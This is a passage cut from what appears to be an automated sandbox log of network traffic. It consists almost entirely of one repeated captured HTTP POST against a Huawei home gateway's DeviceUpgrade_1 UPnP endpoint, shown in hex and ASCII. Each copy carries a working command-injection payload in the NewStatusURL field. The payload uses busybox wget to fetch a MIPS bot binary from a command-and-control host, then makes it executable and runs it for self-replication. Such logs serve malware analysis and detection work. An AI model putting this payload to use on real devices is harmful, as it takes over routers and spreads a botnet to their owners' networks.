6c 6e 65 74 3b 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 20 68 75 61 77 65 69 2e 73 65 6c 66 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g cnc.nomeum.net -l /tmp/.nullnet -r /nullnet_bin_dir/nullnet_load.mips; /bin/busybox chmod 777 * /tmp/.nullnet; /tmp/.nullnet huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 63 6e 63 2e 6e 6f 6d 65 75 6d 2e 6e 65 74 20 2d 6c 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 20 2d 72 20 2f 6e 75 6c 6c 6e 65 74 5f 62 69 6e 5f 64 69 72 2f 6e 75 6c 6c 6e 65 74 5f 6c 6f 61 64 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 3b 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 20 68 75 61 77 65 69 2e 73 65 6c 66 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g cnc.nomeum.net -l /tmp/.nullnet -r /nullnet_bin_dir/nullnet_load.mips; /bin/busybox chmod 777 * /tmp/.nullnet; /tmp/.nullnet huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 63 6e 63 2e 6e 6f 6d 65 75 6d 2e 6e 65 74 20 2d 6c 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 20 2d 72 20 2f 6e 75 6c 6c 6e 65 74 5f 62 69 6e 5f 64 69 72 2f 6e 75 6c 6c 6e 65 74 5f 6c 6f 61 64 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 3b 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 20 68 75 61 77 65 69 2e 73 65 6c 66 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g cnc.nomeum.net -l /tmp/.nullnet -r /nullnet_bin_dir/nullnet_load.mips; /bin/busybox chmod 777 * /tmp/.nullnet; /tmp/.nullnet huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 63 6e 63 2e 6e 6f 6d 65 75 6d 2e 6e 65 74 20 2d 6c 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 20 2d 72 20 2f 6e 75 6c 6c 6e 65 74 5f 62 69 6e 5f 64 69 72 2f 6e 75 6c 6c 6e 65 74 5f 6c 6f 61 64 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 3b 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 20 68 75 61 77 65 69 2e 73 65 6c 66 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g cnc.nomeum.net -l /tmp/.nullnet -r /nullnet_bin_dir/nullnet_load.mips; /bin/busybox chmod 777 * /tmp/.nullnet; /tmp/.nullnet huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 63 6e 63 2e 6e 6f 6d 65 75 6d 2e 6e 65 74 20 2d 6c 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 20 2d 72 20 2f 6e 75 6c 6c 6e 65 74 5f 62 69 6e 5f 64 69 72 2f 6e 75 6c 6c 6e 65 74 5f 6c 6f 61 64 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 3b 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 20 68 75 61 77 65 69 2e 73 65 6c 66 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g cnc.nomeum.net -l /tmp/.nullnet -r /nullnet_bin_dir/nullnet_load.mips; /bin/busybox chmod 777 * /tmp/.nullnet; /tmp/.nullnet huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 63 6e 63 2e 6e 6f 6d 65 75 6d 2e 6e 65 74 20 2d 6c 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 20 2d 72 20 2f 6e 75 6c 6c 6e 65 74 5f 62 69 6e 5f 64 69 72 2f 6e 75 6c 6c 6e 65 74 5f 6c 6f 61 64 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 3b 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 20 68 75 61 77 65 69 2e 73 65 6c 66 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g cnc.nomeum.net -l /tmp/.nullnet -r /nullnet_bin_dir/nullnet_load.mips; /bin/busybox chmod 777 * /tmp/.nullnet; /tmp/.nullnet huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 63 6e 63 2e 6e 6f 6d 65 75 6d 2e 6e 65 74 20 2d 6c 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 20 2d 72 20 2f 6e 75 6c 6c 6e 65 74 5f 62 69 6e 5f 64 69 72 2f 6e 75 6c 6c 6e 65 74 5f 6c 6f 61 64 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 3b 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 20 68 75 61 77 65 69 2e 73 65 6c 66 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g cnc.nomeum.net -l /tmp/.nullnet -r /nullnet_bin_dir/nullnet_load.mips; /bin/busybox chmod 777 * /tmp/.nullnet; /tmp/.nullnet huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 63 6e 63 2e 6e 6f 6d 65 75 6d 2e 6e 65 74 20 2d 6c 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 20 2d 72 20 2f 6e 75 6c 6c 6e 65 74 5f 62 69 6e 5f 64 69 72 2f 6e 75 6c 6c 6e 65 74 5f 6c 6f 61 64 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 3b 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 20 68 75 61 77 65 69 2e 73 65 6c 66 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g cnc.nomeum.net -l /tmp/.nullnet -r /nullnet_bin_dir/nullnet_load.mips; /bin/busybox chmod 777 * /tmp/.nullnet; /tmp/.nullnet huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 63 6e 63 2e 6e 6f 6d 65 75 6d 2e 6e 65 74 20 2d 6c 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 20 2d 72 20 2f 6e 75 6c 6c 6e 65 74 5f 62 69 6e 5f 64 69 72 2f 6e 75 6c 6c 6e 65 74 5f 6c 6f 61 64 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 3b 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 20 68 75 61 77 65 69 2e 73 65 6c 66 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g cnc.nomeum.net -l /tmp/.nullnet -r /nullnet_bin_dir/nullnet_load.mips; /bin/busybox chmod 777 * /tmp/.nullnet; /tmp/.nullnet huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 